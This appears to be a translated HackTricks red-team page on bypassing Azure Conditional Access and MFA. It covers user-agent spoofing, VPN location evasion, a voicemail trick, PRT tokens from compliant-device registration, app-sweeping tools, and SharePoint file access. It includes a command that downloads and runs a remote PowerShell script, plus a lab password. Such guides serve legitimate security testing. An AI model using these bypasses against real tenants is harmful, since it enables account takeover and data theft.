Az - Conditional Access Policies & MFA Bypass

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Azure Conditional Access policies su pravila postavljena u Microsoft Azure da primenjuju kontrole pristupa Azure services i aplikacijama zasnovano na određenim uslovima. Ove politike pomažu organizacijama da zaštite svoje resurse primenom odgovarajućih kontrola pristupa u odgovarajućim okolnostima.
Conditional access policies u suštini definišu Ko može pristupiti Šta, Odakle i Kako.

Evo nekoliko primera:

  1. Sign-In Risk Policy: Ova politika može zahtevati višefaktorsku autentikaciju (MFA) kada se detektuje rizik prijave. Na primer, ako je ponašanje prijave korisnika neuobičajeno u odnosu na njegov uobičajeni obrazac, kao što je prijavljivanje iz druge zemlje, sistem može tražiti dodatnu autentikaciju.
  2. Device Compliance Policy: Ova politika može ograničiti pristup Azure services samo na uređaje koji su u skladu sa bezbednosnim standardima organizacije. Na primer, pristup bi mogao biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koriste određenu verziju operativnog sistema.

Enumeracija

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Acces Policies Bypasses

Moguće je da conditional access policy proverava neke informacije koje se lako mogu izmeniti, omogućavajući zaobilaženje politike. I, na primer, ako politika konfiguriše MFA, napadač će moći da je zaobiđe.

Prilikom konfiguracije conditional access policy potrebno je odrediti users koji su obuhvaćeni i target resources (like all cloud apps).

Takođe je potrebno konfigurisati conditions koje će pokrenuti politiku:

  • Network: IP, IP ranges i geografske lokacije
  • Može se zaobići korišćenjem VPN-a ili Proxy-a da se povežete iz dozvoljene zemlje ili pronalaskom načina za prijavu sa dozvoljene IP adrese
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device ili odabrati Android, iOS, Windows phone, Windows, macOS, Linux
  • Ako “Any device” nije izabrano ali su sve ostale opcije izabrane, moguće je to zaobići korišćenjem slučajnog user-agent-a koji nije povezan sa tim platformama
  • Client apps: Opcije su “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” i “Other clients”
  • Za zaobilaženje — logovanje koristeći opciju koja nije izabrana
  • Filter for devices: Moguće je generisati pravilo vezano za korišćeni uređaj
  • Authentication flows: Opcije su “Device code flow” i “Authentication transfer”
  • Ovo neće uticati na napadača osim ako ne pokuša da zloupotrebi neki od tih protokola u phishing pokušaju da pristupi nalogu žrtve

Mogući results su: Block ili Grant access sa potencijalnim uslovima kao što su zahtev za MFA, uređaj da bude compliant…

Device Platforms - Device Condition

Moguće je postaviti uslov zasnovan na device platform (Android, iOS, Windows, macOS…), međutim, ovo se zasniva na user-agent, pa je lako zaobići. Čak i ako sve opcije zahtevaju MFA, ako koristite user-agent koji nije prepoznat, moći ćete da zaobiđete MFA ili block:

Dovoljno je da pregledač pošalje nepoznat user-agent (poput Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) da se ovaj uslov ne aktivira.
User agent možete promeniti ručno u developer tools:

Ili koristite ekstenziju za pregledač kao ovu.

Locations: Countries, IP ranges - Device Condition

Ako je ovo podešeno u conditional policy, napadač može jednostavno koristiti VPN iz dozvoljene države ili pokušati da pristupi sa dozvoljene IP adrese da bi zaobišao te uslove.

Cloud Apps

Moguće je konfigurisati conditional access policies da blokiraju ili prisile, na primer, MFA kada korisnik pokuša da pristupi specific app:

Da biste pokušali da zaobiđete ovu zaštitu, treba da proverite da li možete da se prijavite u bilo koju aplikaciju.
Alat AzureAppsSweep ima tens of application IDs hardcoded i pokušaće da se uloguje u njih, obavestiće vas i čak dati token ako uspe.

In order to test specific application IDs in specific resources you could also use a tool such as:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Štaviše, moguće je i zaštititi metodu prijave (npr. ako pokušavate da se prijavite iz pregledača ili iz desktop aplikacije). Alat Invoke-MFASweep vrši neke provere da pokuša i zaobići ove zaštite.

Alat donkeytoken se takođe može koristiti za slične svrhe iako izgleda neodržavan.

Alat ROPCI se takođe može koristiti da testira ove zaštite i vidi da li je moguće zaobići MFA ili blokade, ali ovaj alat radi iz whitebox perspektive. Prvo treba da preuzmete listu Apps dozvoljenih u tenant, a zatim će pokušati da se prijavi u njih.

Ostali Az MFA Bypasses

Ring tone

Jedna Azure MFA opcija je da primite poziv na konfigurisan broj telefona gde će se od korisnika tražiti da pošalje karakter #.

Caution

Pošto su karakteri samo tonovi, napadač bi mogao kompromitovati poruku govorne pošte na tom broju, podesiti kao poruku ton za #, i onda, prilikom zahteva za MFA, postarati se da je telefon žrtve zauzet (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.

Compliant Devices

Politike često zahtevaju compliant device ili MFA, pa napadač može registrovati compliant device, dobiti PRT token i na taj način zaobići MFA.

Počnite tako što ćete registrovati compliant device u Intune, zatim preuzeti PRT pomoću:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Više informacija o ovoj vrsti napada potražite na sledećoj stranici:

Az - Primary Refresh Token (PRT)

Alati

AzureAppsSweep

Ovaj skript dobija neke korisničke kredencijale i proverava da li je moguće prijaviti se u određene aplikacije.

Ovo je korisno da proverite da li za prijavu u neke aplikacije nije potrebna MFA, što biste kasnije mogli zloupotrebiti da eskalirate privilegije.

roadrecon

Izvlači sve politike

roadrecon plugin policies

Invoke-MFASweep

MFASweep je PowerShell skripta koja pokušava da se prijavi na različite Microsoft servise koristeći prosleđeni set credentials i da identifikuje da li je MFA omogućena. U zavisnosti od toga kako su konfigurisane conditional access policies i druga multi-factor authentication podešavanja, neki protokoli mogu ostati jednofaktorski. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na on-prem ADFS server ako je detektovan.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Ovaj alat je pomogao да се идентификују MFA заобилажења и потом злоупотребе API-ja у више продукцијских AAD tenant-а, где су AAD корисници веровали да је MFA обавезна, али је аутентификација заснована на ROPC успела.

Tip

Potrebno je da imate dozvole za listanje svih aplikacija kako biste mogli generisati listu aplikacija za brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Conditional Access Policies, testove za 2FA-enabled Microsoft portals, itd..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Testirajte svaki portal da li je moguće login without MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Pošto Azure portal nije ograničen, moguće je prikupiti token sa portal endpointa da bi se pristupilo bilo kojoj usluzi otkrivenoj prethodnim izvršavanjem. U ovom slučaju je identifikovan Sharepoint, i traži se token za pristup njemu:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Ako token ima dozvolu Sites.Read.All (iz Sharepoint), čak i ako ne možete da pristupite Sharepoint preko weba zbog MFA, moguće je koristiti token da pristupite fajlovima pomoću generisanog tokena:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referencije

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks